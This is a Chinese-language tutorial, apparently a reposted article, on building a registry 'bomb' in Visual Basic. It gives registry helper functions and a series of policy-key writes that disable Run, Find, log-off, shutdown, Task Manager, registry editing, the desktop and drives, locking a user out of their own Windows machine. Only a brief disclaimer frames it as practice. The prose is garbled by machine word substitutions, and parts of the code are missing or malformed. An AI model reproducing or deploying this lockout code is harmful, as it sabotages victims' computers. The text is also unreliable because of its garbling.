打造自己的强有力的炸弹

  Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long
  Dim cch As Long
  Dim lrc As Long
  Dim lType As Long
  Dim lValue As Long
  Dim sValue As String
  On Error GoTo QueryValueExError
  lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)
  If lrc <> ERROR_NONE Then Error 5
  Select Case lType
  Case REG_SZ:
  sValue = String(cch, 0)
  lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)
  If lrc = ERROR_NONE Then
  vValue = Left$(sValue, cch)
  Else
  vValue = Empty
  End If
  ‘如果键是REG_SZ那么键值便是字符型
  Case REG_DWORD:
  lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch)
  If lrc = ERROR_NONE Then vValue = lValue       
  Case Else
  lrc = -1  
  ‘如果键是REG_DWORD那么键值便是长整型
  End Select
  QueryValueExExit:
  QueryValueEx = lrc
  Exit Function
  QueryValueExError:
  Resume QueryValueExExit
  End Function
  ‘以上是用来设置注册表键值的
  Public Function CreateNewKey(lPredefinedKey As Long, sNewKeyName As String)
  Dim hNewKey As Long
  Dim lRetVal As Long
  lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal)
  RegCloseKey (hNewKey)
  End Function
  ‘以上是用来创建一个新的键的
  Public Function SetKeyValue(lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)
  Dim lRetVal As Long
  Dim hKey As Long
  lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
  lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)
  RegCloseKey (hKey)
  End Function
  Public Function QueryValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)
  Dim lRetVal As Long
  Dim hKey As Long
  Dim vValue As Variant
  lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
  lRetVal = QueryValueEx(hKey, sValueName, vValue)
  QueryValue = vValue
  RegCloseKey (hKey)
  End Function
  ‘以上是用来设置新键的键值的
  到这里，全部的模块里的代码就写完了，如果想失掉更细致的代码请查看光盘中相关栏目里的代码吧！
  然后先容一下我们怎么去给注册表加键和键值吧，详细代码如下：
  CreateNewKeyHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  SetKeyValueHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", " NoRun ", "1", REG_DWORD
  以上是在HKEY_CURRENT_USER,
  "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer内里加上一个键并设置键值为1的REG_DWORD格式，这个是用来屏蔽开端菜单里的运转的，
  CreateNewKeyHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
  SetKeyValueHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFind", "1", REG_DWORD
  这段代码是用来屏蔽查找的，便是说在你的计算机的开端菜单里会找不到这一项，
  CreateNewKeyHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
  SetKeyValueHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoLogOff", "1", REG_DWORD
  这段是用来屏蔽刊出的
  CreateNewKeyHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
  SetKeyValueHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose", "1", REG_DWORD
  这段是用来屏蔽封闭计算机的
  CreateNewKeyHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System"
  SetKeyValueHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "1", REG_DWORD
  这段是用来屏蔽任务办理器的
  CreateNewKeyHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System"
  SetKeyValueHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "1", REG_DWORD
  这段是用来禁止使用注册表的
  CreateNewKeyHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
  SetKeyValueHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", " NoDesktop ", "1", REG_DWORD
  这段是用来隐蔽桌面的
  CreateNewKeyHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
  SetKeyValueHKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDrives", "1", REG_DWORD
  这段是用来屏蔽A盘的，键值1代表A盘，2代表B盘，4代表C盘，8代表D盘，便是说二倍二倍的下去代表下一个盘。
  如果想作出锋利一点的炸弹，最很多多少多的相识如何使用API函数和注册表，如果想失掉更细致的源代码就在杂志相关栏目内里能够找到，这样，一个小巧而又锋利的炸弹就降生了，希望大家仅仅是用这个东西来实习，而不是去作好事。我写完了炸弹后，又写了一个针对这个炸弹的还原的东西网络在光盘内里了
 

文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明：原创作品，允许转载，转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:

评论加载中... 内容： 评论者： 验证码：